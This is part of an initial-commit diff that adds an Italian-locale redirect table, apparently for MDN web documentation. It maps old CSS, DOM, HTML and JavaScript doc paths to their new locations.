initial commit

1016 files changed, 151528 insertions, 0 deletions

diff --git a/files/it/_redirects.txt b/files/it/_redirects.txt
new file mode 100644
index 0000000000..0fdb919288
--- /dev/null
+++ b/files/it/_redirects.txt
@@ -0,0 +1,457 @@
+# FROM-URL	TO-URL
+/it/docs/AJAX	/it/docs/Web/Guide/AJAX
+/it/docs/AJAX/Iniziare	/it/docs/Web/Guide/AJAX/Iniziare
+/it/docs/AJAX:Iniziare	/it/docs/Web/Guide/AJAX/Iniziare
+/it/docs/CSS	/it/docs/Web/CSS
+/it/docs/CSS/-moz-font-language-override	/it/docs/Web/CSS/-moz-font-language-override
+/it/docs/CSS/:-moz-first-node	/it/docs/Web/CSS/:-moz-first-node
+/it/docs/CSS/:-moz-last-node	/it/docs/Web/CSS/:-moz-last-node
+/it/docs/CSS/:-moz-list-bullet	/it/docs/Web/CSS/:-moz-list-bullet
+/it/docs/CSS/@-moz-document	/it/docs/Web/CSS/%40document
+/it/docs/CSS/Getting_Started	/it/docs/Conoscere_i_CSS
+/it/docs/CSS/Mozilla_Extensions	/it/docs/Web/CSS/Mozilla_Extensions
+/it/docs/CSS/background	/it/docs/Web/CSS/background
+/it/docs/CSS/background-attachment	/it/docs/Web/CSS/background-attachment
+/it/docs/CSS/background-color	/it/docs/Web/CSS/background-color
+/it/docs/CSS/background-image	/it/docs/Web/CSS/background-image
+/it/docs/CSS/background-position	/it/docs/Web/CSS/background-position
+/it/docs/CSS/background-repeat	/it/docs/Web/CSS/background-repeat
+/it/docs/CSS/border	/it/docs/Web/CSS/border
+/it/docs/CSS/border-bottom	/it/docs/Web/CSS/border-bottom
+/it/docs/CSS/color	/it/docs/Web/CSS/color
+/it/docs/CSS/cursor	/it/docs/Web/CSS/cursor
+/it/docs/CSS/cursor/Usare_valori_URL_per_la_propriet%C3%A0_cursor	/it/docs/Web/CSS/cursor/Usare_valori_URL_per_la_propriet%C3%A0_cursor
+/it/docs/CSS/text-align	/it/docs/Web/CSS/text-align
+/it/docs/CSS/text-shadow	/it/docs/Web/CSS/text-shadow
+/it/docs/CSS/transition-timing-function	/it/docs/Web/CSS/transition-timing-function
+/it/docs/CSS/vertical-align	/it/docs/Web/CSS/vertical-align
+/it/docs/CSS/word-break	/it/docs/Web/CSS/word-break
+/it/docs/CSS::-moz-first-node	/it/docs/Web/CSS/:-moz-first-node
+/it/docs/CSS::-moz-last-node	/it/docs/Web/CSS/:-moz-last-node
+/it/docs/CSS::-moz-list-bullet	/it/docs/Web/CSS/:-moz-list-bullet
+/it/docs/CSS:@-moz-document	/it/docs/Web/CSS/%40document
+/it/docs/CSS:Getting_Started	/it/docs/Conoscere_i_CSS
+/it/docs/CSS:background	/it/docs/Web/CSS/background
+/it/docs/CSS:background-attachment	/it/docs/Web/CSS/background-attachment
+/it/docs/CSS:background-color	/it/docs/Web/CSS/background-color
+/it/docs/CSS:background-image	/it/docs/Web/CSS/background-image
+/it/docs/CSS:text-align	/it/docs/Web/CSS/text-align
+/it/docs/CSS_Reference/Mozilla_Extensions	/it/docs/Web/CSS/Mozilla_Extensions
+/it/docs/CSS_Reference:Mozilla_Extensions	/it/docs/Web/CSS/Mozilla_Extensions
+/it/docs/Canvas_tutorial:Basic_usage	/it/docs/Canvas_tutorial/Basic_usage
+/it/docs/Canvas_tutorial:Utilizzo_di_base	/it/docs/Canvas_tutorial/Utilizzo_di_base
+/it/docs/Compatibilit%C3%A0_di_AJAX	/it/docs/Web/Guide/AJAX
+/it/docs/Conoscere_i_CSS-redirect-1	/it/docs/Conoscere_i_CSS
+/it/docs/Conoscere_i_CSS/Che_cosa_sono_i_CSS-redirect-1	/it/docs/Conoscere_i_CSS/Che_cosa_sono_i_CSS
+/it/docs/Conoscere_i_CSS:CSS_leggibili	/it/docs/Conoscere_i_CSS/CSS_leggibili
+/it/docs/Conoscere_i_CSS:Cascata_ed_ereditariet%C3%A0	/it/docs/Conoscere_i_CSS/Cascata_ed_ereditariet%C3%A0
+/it/docs/Conoscere_i_CSS:Che_cosa_sono_i_CSS	/it/docs/Conoscere_i_CSS/Che_cosa_sono_i_CSS
+/it/docs/Conoscere_i_CSS:Colori	/it/docs/Conoscere_i_CSS/Colori
+/it/docs/Conoscere_i_CSS:Come_funzionano_i_CSS	/it/docs/Conoscere_i_CSS/Come_funzionano_i_CSS
+/it/docs/Conoscere_i_CSS:I_Selettori	/it/docs/Conoscere_i_CSS/I_Selettori
+/it/docs/Conoscere_i_CSS:Perch%C3%A9_usare_i_CSS	/it/docs/Conoscere_i_CSS/Perch%C3%A9_usare_i_CSS
+/it/docs/Conoscere_i_CSS:Stili_del_testo	/it/docs/Conoscere_i_CSS/Stili_del_testo
+/it/docs/Core_JavaScript_1.5_Reference	/it/docs/Web/JavaScript/Reference
+/it/docs/Crea_Documentazione	/it/docs/Mozilla/Developer_guide/Documentazione_per_build
+/it/docs/DOM/Selection	/it/docs/Web/API/Selection
+/it/docs/DOM/Selection/addRange	/it/docs/Web/API/Selection/addRange
+/it/docs/DOM/Selection/anchorNode	/it/docs/Web/API/Selection/anchorNode
+/it/docs/DOM/Selection/anchorOffset	/it/docs/Web/API/Selection/anchorOffset
+/it/docs/DOM/Selection/collapse	/it/docs/Web/API/Selection/collapse
+/it/docs/DOM/Selection/collapseToEnd	/it/docs/Web/API/Selection/collapseToEnd
+/it/docs/DOM/Selection/collapseToStart	/it/docs/Web/API/Selection/collapseToStart
+/it/docs/DOM/Selection/containsNode	/it/docs/Web/API/Selection/containsNode
+/it/docs/DOM/Selection/deleteFromDocument	/it/docs/Web/API/Selection/deleteFromDocument
+/it/docs/DOM/Selection/extend	/it/docs/Web/API/Selection/extend
+/it/docs/DOM/Selection/focusNode	/it/docs/Web/API/Selection/focusNode
+/it/docs/DOM/Selection/focusOffset	/it/docs/Web/API/Selection/focusOffset
+/it/docs/DOM/Selection/getRangeAt	/it/docs/Web/API/Selection/getRangeAt
+/it/docs/DOM/Selection/isCollapsed	/it/docs/Web/API/Selection/isCollapsed
+/it/docs/DOM/Selection/rangeCount	/it/docs/Web/API/Selection/rangeCount
+/it/docs/DOM/Selection/removeAllRanges	/it/docs/Web/API/Selection/removeAllRanges
+/it/docs/DOM/Selection/removeRange	/it/docs/Web/API/Selection/removeRange
+/it/docs/DOM/Selection/selectAllChildren	/it/docs/Web/API/Selection/selectAllChildren
+/it/docs/DOM/Selection/toString	/it/docs/Web/API/Selection/toString
+/it/docs/DOM/XMLHttpRequest	/it/docs/Web/API/XMLHttpRequest
+/it/docs/DOM/XMLHttpRequest/Usare_XMLHttpRequest	/it/docs/Web/API/XMLHttpRequest/Usare_XMLHttpRequest
+/it/docs/DOM/document	/it/docs/Web/API/Document
+/it/docs/DOM/document.URL	/it/docs/Web/API/Document/URL
+/it/docs/DOM/document.anchors	/it/docs/Web/API/Document/anchors
+/it/docs/DOM/document.applets	/it/docs/Web/API/Document/applets
+/it/docs/DOM/document.body	/it/docs/Web/API/Document/body
+/it/docs/DOM/document.characterSet	/it/docs/Web/API/Document/characterSet
+/it/docs/DOM/document.close	/it/docs/Web/API/Document/close
+/it/docs/DOM/document.createElement	/it/docs/Web/API/Document/createElement
+/it/docs/DOM/document.createElementNS	/it/docs/Web/API/Document/createElementNS
+/it/docs/DOM/document.createRange	/it/docs/Web/API/Document/createRange
+/it/docs/DOM/document.defaultView	/it/docs/Web/API/Document/defaultView
+/it/docs/DOM/document.doctype	/it/docs/Web/API/Document/doctype
+/it/docs/DOM/document.documentElement	/it/docs/Web/API/Document/documentElement
+/it/docs/DOM/document.firstChild	/it/docs/Web/API/Document/firstChild
+/it/docs/DOM/document.forms	/it/docs/Web/API/Document/forms
+/it/docs/DOM/document.getElementById	/it/docs/Web/API/Document/getElementById
+/it/docs/DOM/document.getElementsByName	/it/docs/Web/API/Document/getElementsByName
+/it/docs/DOM/document.height	/it/docs/Web/API/Document/height
+/it/docs/DOM/document.importNode	/it/docs/Web/API/Document/importNode
+/it/docs/DOM/document.lastModified	/it/docs/Web/API/Document/lastModified
+/it/docs/DOM/document.links	/it/docs/Web/API/Document/links
+/it/docs/DOM/document.namespaceURI	/it/docs/Web/API/Document/namespaceURI
+/it/docs/DOM/document.open	/it/docs/Web/API/Document/open
+/it/docs/DOM/document.referrer	/it/docs/Web/API/Document/referrer
+/it/docs/DOM/document.styleSheets	/it/docs/Web/API/Document/styleSheets
+/it/docs/DOM/document.title	/it/docs/Web/API/Document/title
+/it/docs/DOM/document.width	/it/docs/Web/API/Document/width
+/it/docs/DOM/element	/it/docs/Web/API/Element
+/it/docs/DOM/element.addEventListener	/it/docs/Web/API/Element/addEventListener
+/it/docs/DOM/element.attributes	/it/docs/Web/API/Element/attributes
+/it/docs/DOM/element.childNodes	/it/docs/Web/API/Element/childNodes
+/it/docs/DOM/element.className	/it/docs/Web/API/Element/className
+/it/docs/DOM/element.clientHeight	/it/docs/Web/API/Element/clientHeight
+/it/docs/DOM/element.firstChild	/it/docs/Web/API/Element/firstChild
+/it/docs/DOM/element.hasAttributes	/it/docs/Web/API/Element/hasAttributes
+/it/docs/DOM/element.nodeName	/it/docs/Web/API/Element/nodeName
+/it/docs/DOM/element.nodeType	/it/docs/Web/API/Element/nodeType
+/it/docs/DOM/element.nodeValue	/it/docs/Web/API/Element/nodeValue
+/it/docs/DOM/element.parentNode	/it/docs/Web/API/Element/parentNode
+/it/docs/DOM/element.prefix	/it/docs/Web/API/Element/prefix
+/it/docs/DOM/element.textContent	/it/docs/Web/API/Element/textContent
+/it/docs/DOM/event	/it/docs/Web/API/Event
+/it/docs/DOM/event.altKey	/it/docs/Web/API/Event/altKey
+/it/docs/DOM/event.bubbles	/it/docs/Web/API/Event/bubbles
+/it/docs/DOM/event.button	/it/docs/Web/API/Event/button
+/it/docs/DOM/event.cancelable	/it/docs/Web/API/Event/cancelable
+/it/docs/DOM/event.charCode	/it/docs/Web/API/Event/charCode
+/it/docs/DOM/event.ctrlKey	/it/docs/Web/API/Event/ctrlKey
+/it/docs/DOM/event.detail	/it/docs/Web/API/Event/detail
+/it/docs/DOM/event.eventPhase	/it/docs/Web/API/Event/eventPhase
+/it/docs/DOM/event.isChar	/it/docs/Web/API/Event/isChar
+/it/docs/DOM/event.keyCode	/it/docs/Web/API/Event/keyCode
+/it/docs/DOM/event.layerX	/it/docs/Web/API/Event/layerX
+/it/docs/DOM/event.layerY	/it/docs/Web/API/Event/layerY
+/it/docs/DOM/event.metaKey	/it/docs/Web/API/Event/metaKey
+/it/docs/DOM/event.pageX	/it/docs/Web/API/Event/pageX
+/it/docs/DOM/event.pageY	/it/docs/Web/API/Event/pageY
+/it/docs/DOM/event.preventDefault	/it/docs/Web/API/Event/preventDefault
+/it/docs/DOM/event.shiftKey	/it/docs/Web/API/Event/shiftKey
+/it/docs/DOM/event.stopPropagation	/it/docs/Web/API/Event/stopPropagation
+/it/docs/DOM/event.timeStamp	/it/docs/Web/API/Event/timeStamp
+/it/docs/DOM/event.type	/it/docs/Web/API/Event/type
+/it/docs/DOM/event.view	/it/docs/Web/API/Event/view
+/it/docs/DOM/event.which	/it/docs/Web/API/Event/which
+/it/docs/DOM/form	/it/docs/Web/API/HTMLFormElement
+/it/docs/DOM/form.acceptCharset	/it/docs/Web/API/HTMLFormElement/acceptCharset
+/it/docs/DOM/form.action	/it/docs/Web/API/HTMLFormElement/action
+/it/docs/DOM/form.elements	/it/docs/Web/API/HTMLFormElement/elements
+/it/docs/DOM/form.enctype	/it/docs/Web/API/HTMLFormElement/enctype
+/it/docs/DOM/form.length	/it/docs/Web/API/HTMLFormElement/length
+/it/docs/DOM/form.method	/it/docs/Web/API/HTMLFormElement/method
+/it/docs/DOM/form.name	/it/docs/Web/API/HTMLFormElement/name
+/it/docs/DOM/form.reset	/it/docs/Web/API/HTMLFormElement/reset
+/it/docs/DOM/form.submit	/it/docs/Web/API/HTMLFormElement/submit
+/it/docs/DOM/form.target	/it/docs/Web/API/HTMLFormElement/target
+/it/docs/DOM/range	/it/docs/Web/API/Range
+/it/docs/DOM/range.cloneContents	/it/docs/Web/API/Range/cloneContents
+/it/docs/DOM/range.cloneRange	/it/docs/Web/API/Range/cloneRange
+/it/docs/DOM/range.collapse	/it/docs/Web/API/Range/collapse
+/it/docs/DOM/range.collapsed	/it/docs/Web/API/Range/collapsed
+/it/docs/DOM/range.commonAncestorContainer	/it/docs/Web/API/Range/commonAncestorContainer
+/it/docs/DOM/range.compareBoundaryPoints	/it/docs/Web/API/Range/compareBoundaryPoints
+/it/docs/DOM/range.comparePoint	/it/docs/Web/API/Range/comparePoint
+/it/docs/DOM/range.createContextualFragment	/it/docs/Web/API/Range/createContextualFragment
+/it/docs/DOM/range.deleteContents	/it/docs/Web/API/Range/deleteContents
+/it/docs/DOM/range.detach	/it/docs/Web/API/Range/detach
+/it/docs/DOM/range.endContainer	/it/docs/Web/API/Range/endContainer
+/it/docs/DOM/range.endOffset	/it/docs/Web/API/Range/endOffset
+/it/docs/DOM/range.extractContents	/it/docs/Web/API/Range/extractContents
+/it/docs/DOM/range.insertNode	/it/docs/Web/API/Range/insertNode
+/it/docs/DOM/range.isPointInRange	/it/docs/Web/API/Range/isPointInRange
+/it/docs/DOM/range.selectNode	/it/docs/Web/API/Range/selectNode
+/it/docs/DOM/range.selectNodeContents	/it/docs/Web/API/Range/selectNodeContents
+/it/docs/DOM/range.setEnd	/it/docs/Web/API/Range/setEnd
+/it/docs/DOM/range.setEndAfter	/it/docs/Web/API/Range/setEndAfter
+/it/docs/DOM/range.setEndBefore	/it/docs/Web/API/Range/setEndBefore
+/it/docs/DOM/range.setStart	/it/docs/Web/API/Range/setStart
+/it/docs/DOM/range.setStartAfter	/it/docs/Web/API/Range/setStartAfter
+/it/docs/DOM/range.setStartBefore	/it/docs/Web/API/Range/setStartBefore
+/it/docs/DOM/range.startContainer	/it/docs/Web/API/Range/startContainer
+/it/docs/DOM/range.startOffset	/it/docs/Web/API/Range/startOffset
+/it/docs/DOM/range.surroundContents	/it/docs/Web/API/Range/surroundContents
+/it/docs/DOM/range.toString	/it/docs/Web/API/Range/toString
+/it/docs/DOM/window	/it/docs/Web/API/Window
+/it/docs/DOM/window.alert	/it/docs/Web/API/Window/alert
+/it/docs/DOM/window.back	/it/docs/Web/API/Window/back
+/it/docs/DOM/window.blur	/it/docs/Web/API/Window/blur
+/it/docs/DOM/window.closed	/it/docs/Web/API/Window/closed
+/it/docs/DOM/window.confirm	/it/docs/Web/API/Window/confirm
+/it/docs/DOM/window.defaultStatus	/it/docs/Web/API/Window/defaultstatus
+/it/docs/DOM/window.document	/it/docs/Web/API/Window/document
+/it/docs/DOM/window.focus	/it/docs/Web/API/Window/focus
+/it/docs/DOM/window.forward	/it/docs/Web/API/Window/forward
+/it/docs/DOM/window.getSelection	/it/docs/Web/API/Window/getSelection
+/it/docs/DOM/window.history	/it/docs/Web/API/Window/history
+/it/docs/DOM/window.home	/it/docs/Web/API/Window/home
+/it/docs/DOM/window.locationbar	/it/docs/Web/API/Window/locationbar
+/it/docs/DOM/window.moveBy	/it/docs/Web/API/Window/moveBy
+/it/docs/DOM/window.moveTo	/it/docs/Web/API/Window/moveTo
+/it/docs/DOM/window.name	/it/docs/Web/API/Window/name
+/it/docs/DOM/window.opener	/it/docs/Web/API/Window/opener
+/it/docs/DOM/window.print	/it/docs/Web/API/Window/print
+/it/docs/DOM/window.prompt	/it/docs/Web/API/Window/prompt
+/it/docs/DOM/window.resizeBy	/it/docs/Web/API/Window/resizeBy
+/it/docs/DOM/window.resizeTo	/it/docs/Web/API/Window/resizeTo
+/it/docs/DOM/window.sizeToContent	/it/docs/Web/API/Window/sizeToContent
+/it/docs/DOM/window.status	/it/docs/Web/API/Window/status
+/it/docs/DOM/window.statusbar	/it/docs/Web/API/Window/statusbar
+/it/docs/DOM/window.stop	/it/docs/Web/API/Window/stop
+/it/docs/DOM:Selection	/it/docs/Web/API/Selection
+/it/docs/DOM:Selection:addRange	/it/docs/Web/API/Selection/addRange
+/it/docs/DOM:Selection:anchorNode	/it/docs/Web/API/Selection/anchorNode
+/it/docs/DOM:Selection:anchorOffset	/it/docs/Web/API/Selection/anchorOffset
+/it/docs/DOM:Selection:collapse	/it/docs/Web/API/Selection/collapse
+/it/docs/DOM:Selection:collapseToEnd	/it/docs/Web/API/Selection/collapseToEnd
+/it/docs/DOM:Selection:collapseToStart	/it/docs/Web/API/Selection/collapseToStart
+/it/docs/DOM:Selection:containsNode	/it/docs/Web/API/Selection/containsNode
+/it/docs/DOM:Selection:deleteFromDocument	/it/docs/Web/API/Selection/deleteFromDocument
+/it/docs/DOM:Selection:extend	/it/docs/Web/API/Selection/extend
+/it/docs/DOM:Selection:focusNode	/it/docs/Web/API/Selection/focusNode
+/it/docs/DOM:Selection:focusOffset	/it/docs/Web/API/Selection/focusOffset
+/it/docs/DOM:Selection:getRangeAt	/it/docs/Web/API/Selection/getRangeAt
+/it/docs/DOM:Selection:isCollapsed	/it/docs/Web/API/Selection/isCollapsed
+/it/docs/DOM:Selection:rangeCount	/it/docs/Web/API/Selection/rangeCount
+/it/docs/DOM:Selection:removeAllRanges	/it/docs/Web/API/Selection/removeAllRanges
+/it/docs/DOM:Selection:removeRange	/it/docs/Web/API/Selection/removeRange
+/it/docs/DOM:Selection:selectAllChildren	/it/docs/Web/API/Selection/selectAllChildren
+/it/docs/DOM:Selection:toString	/it/docs/Web/API/Selection/toString
+/it/docs/DOM:document	/it/docs/Web/API/Document
+/it/docs/DOM:document.URL	/it/docs/Web/API/Document/URL
+/it/docs/DOM:document.anchors	/it/docs/Web/API/Document/anchors
+/it/docs/DOM:document.applets	/it/docs/Web/API/Document/applets
+/it/docs/DOM:document.body	/it/docs/Web/API/Document/body
+/it/docs/DOM:document.characterSet	/it/docs/Web/API/Document/characterSet
+/it/docs/DOM:document.close	/it/docs/Web/API/Document/close
+/it/docs/DOM:document.createElement	/it/docs/Web/API/Document/createElement
+/it/docs/DOM:document.createElementNS	/it/docs/Web/API/Document/createElementNS
+/it/docs/DOM:document.createRange	/it/docs/Web/API/Document/createRange
+/it/docs/DOM:document.defaultView	/it/docs/Web/API/Document/defaultView
+/it/docs/DOM:document.doctype	/it/docs/Web/API/Document/doctype
+/it/docs/DOM:document.documentElement	/it/docs/Web/API/Document/documentElement
+/it/docs/DOM:document.firstChild	/it/docs/Web/API/Document/firstChild
+/it/docs/DOM:document.forms	/it/docs/Web/API/Document/forms
+/it/docs/DOM:document.getElementById	/it/docs/Web/API/Document/getElementById
+/it/docs/DOM:document.getElementsByName	/it/docs/Web/API/Document/getElementsByName
+/it/docs/DOM:document.height	/it/docs/Web/API/Document/height
+/it/docs/DOM:document.importNode	/it/docs/Web/API/Document/importNode
+/it/docs/DOM:document.lastModified	/it/docs/Web/API/Document/lastModified
+/it/docs/DOM:document.links	/it/docs/Web/API/Document/links
+/it/docs/DOM:document.namespaceURI	/it/docs/Web/API/Document/namespaceURI
+/it/docs/DOM:document.open	/it/docs/Web/API/Document/open
+/it/docs/DOM:document.referrer	/it/docs/Web/API/Document/referrer
+/it/docs/DOM:document.styleSheets	/it/docs/Web/API/Document/styleSheets
+/it/docs/DOM:document.title	/it/docs/Web/API/Document/title
+/it/docs/DOM:document.width	/it/docs/Web/API/Document/width
+/it/docs/DOM:element	/it/docs/Web/API/Element
+/it/docs/DOM:element.addEventListener	/it/docs/Web/API/Element/addEventListener
+/it/docs/DOM:element.attributes	/it/docs/Web/API/Element/attributes
+/it/docs/DOM:element.childNodes	/it/docs/Web/API/Element/childNodes
+/it/docs/DOM:element.className	/it/docs/Web/API/Element/className
+/it/docs/DOM:element.clientHeight	/it/docs/Web/API/Element/clientHeight
+/it/docs/DOM:element.firstChild	/it/docs/Web/API/Element/firstChild
+/it/docs/DOM:element.hasAttributes	/it/docs/Web/API/Element/hasAttributes
+/it/docs/DOM:element.nodeName	/it/docs/Web/API/Element/nodeName
+/it/docs/DOM:element.nodeType	/it/docs/Web/API/Element/nodeType
+/it/docs/DOM:element.nodeValue	/it/docs/Web/API/Element/nodeValue
+/it/docs/DOM:element.parentNode	/it/docs/Web/API/Element/parentNode
+/it/docs/DOM:element.prefix	/it/docs/Web/API/Element/prefix
+/it/docs/DOM:element.textContent	/it/docs/Web/API/Element/textContent
+/it/docs/DOM:event	/it/docs/Web/API/Event
+/it/docs/DOM:event.altKey	/it/docs/Web/API/Event/altKey
+/it/docs/DOM:event.bubbles	/it/docs/Web/API/Event/bubbles
+/it/docs/DOM:event.button	/it/docs/Web/API/Event/button
+/it/docs/DOM:event.cancelable	/it/docs/Web/API/Event/cancelable
+/it/docs/DOM:event.charCode	/it/docs/Web/API/Event/charCode
+/it/docs/DOM:event.ctrlKey	/it/docs/Web/API/Event/ctrlKey
+/it/docs/DOM:event.detail	/it/docs/Web/API/Event/detail
+/it/docs/DOM:event.eventPhase	/it/docs/Web/API/Event/eventPhase
+/it/docs/DOM:event.isChar	/it/docs/Web/API/Event/isChar
+/it/docs/DOM:event.keyCode	/it/docs/Web/API/Event/keyCode
+/it/docs/DOM:event.layerX	/it/docs/Web/API/Event/layerX
+/it/docs/DOM:event.layerY	/it/docs/Web/API/Event/layerY
+/it/docs/DOM:event.metaKey	/it/docs/Web/API/Event/metaKey
+/it/docs/DOM:event.pageX	/it/docs/Web/API/Event/pageX
+/it/docs/DOM:event.pageY	/it/docs/Web/API/Event/pageY
+/it/docs/DOM:event.preventDefault	/it/docs/Web/API/Event/preventDefault
+/it/docs/DOM:event.shiftKey	/it/docs/Web/API/Event/shiftKey
+/it/docs/DOM:event.stopPropagation	/it/docs/Web/API/Event/stopPropagation
+/it/docs/DOM:event.timeStamp	/it/docs/Web/API/Event/timeStamp
+/it/docs/DOM:event.type	/it/docs/Web/API/Event/type
+/it/docs/DOM:event.view	/it/docs/Web/API/Event/view
+/it/docs/DOM:event.which	/it/docs/Web/API/Event/which
+/it/docs/DOM:form	/it/docs/Web/API/HTMLFormElement
+/it/docs/DOM:form.acceptCharset	/it/docs/Web/API/HTMLFormElement/acceptCharset
+/it/docs/DOM:form.action	/it/docs/Web/API/HTMLFormElement/action
+/it/docs/DOM:form.elements	/it/docs/Web/API/HTMLFormElement/elements
+/it/docs/DOM:form.enctype	/it/docs/Web/API/HTMLFormElement/enctype
+/it/docs/DOM:form.length	/it/docs/Web/API/HTMLFormElement/length
+/it/docs/DOM:form.method	/it/docs/Web/API/HTMLFormElement/method
+/it/docs/DOM:form.name	/it/docs/Web/API/HTMLFormElement/name
+/it/docs/DOM:form.reset	/it/docs/Web/API/HTMLFormElement/reset
+/it/docs/DOM:form.submit	/it/docs/Web/API/HTMLFormElement/submit
+/it/docs/DOM:form.target	/it/docs/Web/API/HTMLFormElement/target
+/it/docs/DOM:range	/it/docs/Web/API/Range
+/it/docs/DOM:range.cloneContents	/it/docs/Web/API/Range/cloneContents
+/it/docs/DOM:range.cloneRange	/it/docs/Web/API/Range/cloneRange
+/it/docs/DOM:range.collapse	/it/docs/Web/API/Range/collapse
+/it/docs/DOM:range.collapsed	/it/docs/Web/API/Range/collapsed
+/it/docs/DOM:range.commonAncestorContainer	/it/docs/Web/API/Range/commonAncestorContainer
+/it/docs/DOM:range.compareBoundaryPoints	/it/docs/Web/API/Range/compareBoundaryPoints
+/it/docs/DOM:range.comparePoint	/it/docs/Web/API/Range/comparePoint
+/it/docs/DOM:range.createContextualFragment	/it/docs/Web/API/Range/createContextualFragment
+/it/docs/DOM:range.deleteContents	/it/docs/Web/API/Range/deleteContents
+/it/docs/DOM:range.detach	/it/docs/Web/API/Range/detach
+/it/docs/DOM:range.endContainer	/it/docs/Web/API/Range/endContainer
+/it/docs/DOM:range.endOffset	/it/docs/Web/API/Range/endOffset
+/it/docs/DOM:range.extractContents	/it/docs/Web/API/Range/extractContents
+/it/docs/DOM:range.insertNode	/it/docs/Web/API/Range/insertNode
+/it/docs/DOM:range.isPointInRange	/it/docs/Web/API/Range/isPointInRange
+/it/docs/DOM:range.selectNode	/it/docs/Web/API/Range/selectNode
+/it/docs/DOM:range.selectNodeContents	/it/docs/Web/API/Range/selectNodeContents
+/it/docs/DOM:range.setEnd	/it/docs/Web/API/Range/setEnd
+/it/docs/DOM:range.setEndAfter	/it/docs/Web/API/Range/setEndAfter
+/it/docs/DOM:range.setEndBefore	/it/docs/Web/API/Range/setEndBefore
+/it/docs/DOM:range.setStart	/it/docs/Web/API/Range/setStart
+/it/docs/DOM:range.setStartAfter	/it/docs/Web/API/Range/setStartAfter
+/it/docs/DOM:range.setStartBefore	/it/docs/Web/API/Range/setStartBefore
+/it/docs/DOM:range.startContainer	/it/docs/Web/API/Range/startContainer
+/it/docs/DOM:range.startOffset	/it/docs/Web/API/Range/startOffset
+/it/docs/DOM:range.surroundContents	/it/docs/Web/API/Range/surroundContents
+/it/docs/DOM:range.toString	/it/docs/Web/API/Range/toString
+/it/docs/DOM:window	/it/docs/Web/API/Window
+/it/docs/DOM:window.alert	/it/docs/Web/API/Window/alert
+/it/docs/DOM:window.back	/it/docs/Web/API/Window/back
+/it/docs/DOM:window.blur	/it/docs/Web/API/Window/blur
+/it/docs/DOM:window.closed	/it/docs/Web/API/Window/closed
+/it/docs/DOM:window.confirm	/it/docs/Web/API/Window/confirm
+/it/docs/DOM:window.defaultStatus	/it/docs/Web/API/Window/defaultstatus
+/it/docs/DOM:window.document	/it/docs/Web/API/Window/document
+/it/docs/DOM:window.focus	/it/docs/Web/API/Window/focus
+/it/docs/DOM:window.forward	/it/docs/Web/API/Window/forward
+/it/docs/DOM:window.getSelection	/it/docs/Web/API/Window/getSelection
+/it/docs/DOM:window.history	/it/docs/Web/API/Window/history
+/it/docs/DOM:window.home	/it/docs/Web/API/Window/home
+/it/docs/DOM:window.locationbar	/it/docs/Web/API/Window/locationbar
+/it/docs/DOM:window.moveBy	/it/docs/Web/API/Window/moveBy
+/it/docs/DOM:window.moveTo	/it/docs/Web/API/Window/moveTo
+/it/docs/DOM:window.name	/it/docs/Web/API/Window/name
+/it/docs/DOM:window.opener	/it/docs/Web/API/Window/opener
+/it/docs/DOM:window.print	/it/docs/Web/API/Window/print
+/it/docs/DOM:window.prompt	/it/docs/Web/API/Window/prompt
+/it/docs/DOM:window.resizeBy	/it/docs/Web/API/Window/resizeBy
+/it/docs/DOM:window.resizeTo	/it/docs/Web/API/Window/resizeTo
+/it/docs/DOM:window.sizeToContent	/it/docs/Web/API/Window/sizeToContent
+/it/docs/DOM:window.status	/it/docs/Web/API/Window/status
+/it/docs/DOM:window.statusbar	/it/docs/Web/API/Window/statusbar
+/it/docs/DOM:window.stop	/it/docs/Web/API/Window/stop
+/it/docs/Developer_Guide	/it/docs/Mozilla/Developer_guide
+/it/docs/Documentazione_per_build	/it/docs/Mozilla/Developer_guide/Documentazione_per_build
+/it/docs/Estensioni:Comunit%C3%A0	/it/docs/Estensioni/Comunit%C3%A0
+/it/docs/Firefox_1.5	/it/docs/Firefox_1.5_per_Sviluppatori
+/it/docs/Firefox_2	/it/docs/Firefox_2.0_per_Sviluppatori
+/it/docs/Firefox_2_per_Sviluppatori	/it/docs/Firefox_2.0_per_Sviluppatori
+/it/docs/Firefox_3_for_developers	/it/docs/Firefox_3_per_sviluppatori/Firefox_3_per_sviluppatori
+/it/docs/Guida_di_riferimento_ai_CSS	/it/docs/Web/CSS/Guida_di_riferimento_ai_CSS
+/it/docs/HTML	/it/docs/Web/HTML
+/it/docs/HTML/Aree_tematiche	/it/docs/Web/Guide/HTML/Categorie_di_contenuto
+/it/docs/HTML/Attributi	/it/docs/Web/HTML/Attributi
+/it/docs/HTML/Canvas	/it/docs/Web/HTML/Canvas
+/it/docs/HTML/Canvas/Drawing_graphics_with_canvas	/it/docs/Web/HTML/Canvas/Drawing_graphics_with_canvas
+/it/docs/HTML/Element	/it/docs/Web/HTML/Element
+/it/docs/HTML/Element/a	/it/docs/Web/HTML/Element/a
+/it/docs/HTML/Element/abbr	/it/docs/Web/HTML/Element/abbr
+/it/docs/HTML/Element/address	/it/docs/Web/HTML/Element/address
+/it/docs/HTML/Element/area	/it/docs/Web/HTML/Element/area
+/it/docs/HTML/Element/article	/it/docs/Web/HTML/Element/article
+/it/docs/HTML/Element/html	/it/docs/Web/HTML/Element/html
+/it/docs/HTML/Element/output	/it/docs/Web/HTML/Element/output
+/it/docs/HTML/Element/section	/it/docs/Web/HTML/Element/section
+/it/docs/HTML/Element/time	/it/docs/Web/HTML/Element/time
+/it/docs/HTML/Forms_in_HTML	/it/docs/Web/HTML/Forms_in_HTML
+/it/docs/HTML/Global_attributes	/it/docs/Web/HTML/Global_attributes
+/it/docs/HTML/HTML5	/it/docs/Web/HTML/HTML5
+/it/docs/HTML/HTML5/Introduction_to_HTML5	/it/docs/Web/HTML/HTML5/Introduction_to_HTML5
+/it/docs/HTML/Introduzione	/it/docs/Learn/HTML/Introduction_to_HTML
+/it/docs/HTML/Sections_and_Outlines_of_an_HTML5_document	/it/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document
+/it/docs/HTML/Using_HTML5_audio_and_video	/it/docs/Web/HTML/Using_HTML5_audio_and_video
+/it/docs/HTML/utilizzare_application_cache	/it/docs/Web/HTML/utilizzare_application_cache
+/it/docs/Il_DOM_e_JavaScript	/it/docs/Web/JavaScript/Il_DOM_e_JavaScript
+/it/docs/Importare_applicazioni_da_Internet_Explorer_a_Mozilla	/it/docs/Migrare_applicazioni_da_Internet_Explorer_a_Mozilla
+/it/docs/Introduzione	/it/docs/Mozilla/Developer_guide/Introduction
+/it/docs/Introduzione_al_carattere_Object-Oriented_di_JavaScript	/it/docs/Web/JavaScript/Introduzione_al_carattere_Object-Oriented_di_JavaScript
+/it/docs/JavaScript	/it/docs/Web/JavaScript
